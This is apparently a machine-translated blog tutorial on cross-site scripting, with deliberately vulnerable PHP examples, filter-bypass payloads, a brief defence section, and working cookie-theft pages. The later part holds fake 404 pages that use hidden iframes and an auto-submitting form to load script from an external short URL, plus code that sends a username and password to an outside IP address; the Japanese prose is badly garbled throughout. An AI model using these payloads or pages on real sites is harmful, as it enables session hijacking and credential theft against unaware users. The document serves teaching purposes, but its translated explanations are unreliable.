XSS(クロスサイトスクリプティング)コメント(下)
Hack 9月5日
XSSの脆弱性の単純な攻撃テスト
反射型XSS:
最初のリリースのソースコード
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action.php:
<?php
$name=$_POST["name"];
echo $name;
?>
ここでは、ユーザによって送信されたページは、データを送信した後、ユーザーがバックグラウンドに、処理をデータを提出することができます
だから、我々は入力ボックスにデータを送信することができます。<script>警告(ハック「」)</ script>の、そしてそこがどうなるか反応見ます
ポップアップページを直接見ることができる、ページをハック、私たちは声明を挿入ページに実行されました。
>フロント - >バックエンド - フロント:これは、データが流れて、この脆弱性があり、反射XSSの脆弱性の最も基本的なタイプです
ストレージタイプのXSS:
最初のソースコードが与えられます。
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID:<input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
ユーザー提出ページ、データベースバックエンドストアの後にバックエンドに提出されたデータがあります。別のユーザーの訪問別ページは、別のユーザーに表示されるデータの後端を呼び出すときそして、XSSコードが実行されます。
私たちは、1との<script>警告(\「ハック\」)</スクリプト>を入力し、SQL文の$名は、単一引用符であるため、このハックは、エスケープするための単一引用符であることに注意してください、それはここではエスケープされませんこれは、単一引用符でSQLステートメントを閉じます。それ以外の場合は、それに注入しないでください。提出後、我々はデータベースを見て
私たちは、XSS文がデータベースに挿入された、見ることができ
、他のユーザーがshow2.phpページにアクセスしたとき、我々は、コードが実行されるXSSを挿入し、その後、。
XSSの蓄積型データフローである:フロントエンド - >リア - >データベース - >リア - >フロントエンド
DOM型XSS:
ソースコード内の最初に配置
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script>
ここでは、ユーザによって送信されたページは、データを送信した後、ユーザーがバックグラウンドに、処理をデータを提出することができます
私たちは、<IMG SRC = 1οnerrοr=警告(「ハック」)>を入力し、ページの変更を見ることができます
ポップアップページを直接見ることができる、ページをハック、私たちは声明を挿入ページに実行されました。
これは、DOM XSSの脆弱性の種類で、この脆弱性のデータフローは以下のとおりです。フロント - >ブラウザ
単純な濾過及びバイパスXSS
SQLインジェクションの前で言えば、我々はいくつかのサルフィルタSQLインジェクションのためのプログラム、一部の機能の使用について話しました(のような:にpreg_replace())、一部の文字は、着床を防ぐために、フィルターにSQL文を形成します。次いで、類人猿はまた、いくつかの機能を使用することができ、プログラムを濾過するためのキー文字XSSコードの一部を構成します。先行しかし、1足のステップ、それを濾過し、それでもXSS攻撃の目的を達成するために、フィルタをバイパスすることができます。けれども
A:大文字と小文字を区別フィルタタグ
ソースコード内の最初に配置
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
echo $name;
}
?>
技術をバイパス:使用がバイパスに敏感であり、<SCRIPT>警告(ハック「」)</ SCRIPT>
II:大文字と小文字を区別しないフィルタタグ
ソースコード内の最初に配置
上記のコードと全く同じ、しかし、フィルタは、余分なIを添加し、大文字と小文字を区別しません
$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
技術をバイパスする:ネストされたスクリプトタグは<SCR <SCRIPT> IPT>アラート( 'ハック')</ SCR </スクリプト> IPT>バイパスするために使用することができます
3:間のフィルタリングすべてのコンテンツ小文字を区別しません、
ソースコード内の最初に配置
このフィルタ条件が変更されているとまったく同じ、ちょうどフィルタ上記のコード
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
あなたはXSSコード注入の<script>タグを使用することはできませんが、SRC IMG、身体や他のイベントやiframeタグや他のラベルを経由してjsの悪質なコードを挿入することができますが。
ペイロード:<IMG SRC = 1οnerrοr=警告(ハック '')>
私たちは、<IMG SRC = 1οnerrοr=警告(「ハック」)>を入力し、ページの変更を見ることができます
XSSの防衛
XSS防御一般的な考え方は、ユーザ入力(URLとパラメータ)コーディングHTMLのフィルタリングされた出力。つまり、ユーザーによって提出されたすべてのコンテンツは、関連するコンテンツスクリプトの実行につながるフィルタリング、URLパラメータフィルタリングにフィルタリングされ、その後、ページのコンテンツへの動的出力は、スクリプトがブラウザで実行できないように、HTMLのコーディングをすること。
それはフィルタリングのためにブラックリストとホワイトリストフィルタに分けることができ、入力の内容をフィルタリングします。ブラックリストフィルタリングは、XSS攻撃のほとんどをブロックすることができますが、バイパスされる危険性はまだありますが。ホワイトリストフィルタは、基本的には、XSS攻撃を置くことができますが、実際の環境では、一般的にとても厳しいホワイトリストフィルタリングすることはできませんが。
HTML出力をコードすることは、ユーザーのHTMLコード機能により、データ入力は、スクリプトとして実行することはできませんされています。
ユーザ名入力されたHTMLコードのPHPはhtmlspecialchars関数パラメータで使用される以下、HTMLエンティティに変換します
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
次のように、まず、図コーディングないHTML、図2は、符号化HTMLがあります。HTMLスクリプトタグの後のHTMLエンティティとして符号化されます。
我々はまた、クライアントがCookie情報JSスクリプトを取得することはできませんのでこと、サーバーのHTTPのみのセッションCookieのプロパティを設定することができます
ジェスチャーを使用してXSSの反射型
私たちは、今、我々はクッキーを盗むために使用します、我々は、ユーザーのクッキーを盗み、私たちにそれを送信するためにユーザを誘導することにより、当社の巧妙に作成された悪質なリンクをクリックして、ユーザーがサイトにログオンすると、反射XSSサイトがあることを見つけますユーザーのIDは、ユーザーのウェブサイトにログオンします。
型を取得します
入力パラメータの要求タイプは、我々は型を取得する場合、我々は、URLパラメータの形でパラメータを入力すること。下記に示すように、
リンクは次のとおりです。http://127.0.0.1/vulnerabilities/xss_r/名= <スクリプト>警報(/ XSS /)</スクリプト>?
だから、どのように我々は上をクリックして、その中に悪質なリンクをクリックし、ユーザーがクリックを見つけることができません誘惑のユーザーに悪質なコードを構築する必要がありますか?
私たちは、次のコードを構築するHTMLページとして保存した後、私たち自身のサーバー上に置く、リンクを作成します。ユーザーがサイト上の脆弱ログインし、我々は、ユーザーを作成すると、ページが密かフレームインラインフレームをオープンすることを悪質なリンクをクリックし、IFRAMEは、リンクのいずれかを訪問して、私たちのjsのコードを実行します。クッキーjsのコードは、当社のプラットフォーム上で脆弱なサイトに送信されますが、ユーザーが気づいていない、彼は404ページだったオープン見つかります!
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
</div>
</body>
</html>
当社のプラットフォームは、我々は、ユーザーのIDにサイトへのアクセスを取得するためにクッキーを使用することができ、XSSユーザーのCookieを取得します。
注:XSSの脆弱性を使用することができます私たちの攻撃コードがサイトX-フレーム-オプションが設定されていないことを前提に存在し、セッションクッキーが設定されていないのHttpプロパティのみ
ポストタイプ
私たちは今、反射XSSの脆弱性があることを、ウェブサイトのユーザー名の入力ボックスを知っています
私たちEtherealの表示
私たちは、次のコードを構築するHTMLページとして保存した後、私たち自身のサーバー上に置く、リンクを作成します。ユーザーがサイト上の脆弱ログインすると、ユーザは、当社の構造悪質なリンクをクリックし、悪質なリンクは、フォームを完了するためのページがjsのロードされたコードの後に実行するときに提出され、ユーザ名パラメータは、私たちの悪質なJSコードの形です。フォームを送信した後、jsのコードは、クッキーの脆弱性を送信する当社のプラットフォームにウェブサイトが存在するが、ユーザーが気づいていない、彼は404ページだったオープンでしょう。
ここでは、フォームがジャンプを防ぐために提出された後、404ページ、404ページは、提出フォームの形で隠さ書いて、我々は、フレームの形でのiframeのフレームワークを追加したとiframeをターゲットフォーム名フォームを等しくし、我々目に見えないiframeのフレームワークを設定します。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
<form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
<input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
<input type="hidden" name="password" value="1">
</form>
<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
ユーザーが悪質なリンク私たちの構造をクリックすると、404ページを開くことがわかりました。実際には、このページには、密かにフォームを送信してきました。
送信私たちのXSSプラットフォームも、受信したデータ(クッキーの理由は、このデータは、ちょうど何気なくページを書き、私はクッキーを設定していなかったこのサイトではありません)。
背景に利用者情報を送信するためのJSの使用
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function(){
//我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
user="admin";
pass="root";
url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame); //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
});
</script>
</head>
<body id="body">
<h3>hello,word!</h3>
</body>
</html>
ユーザーがページにアクセスすると、背景当社は、ユーザーのアクセス記録を見ることができます。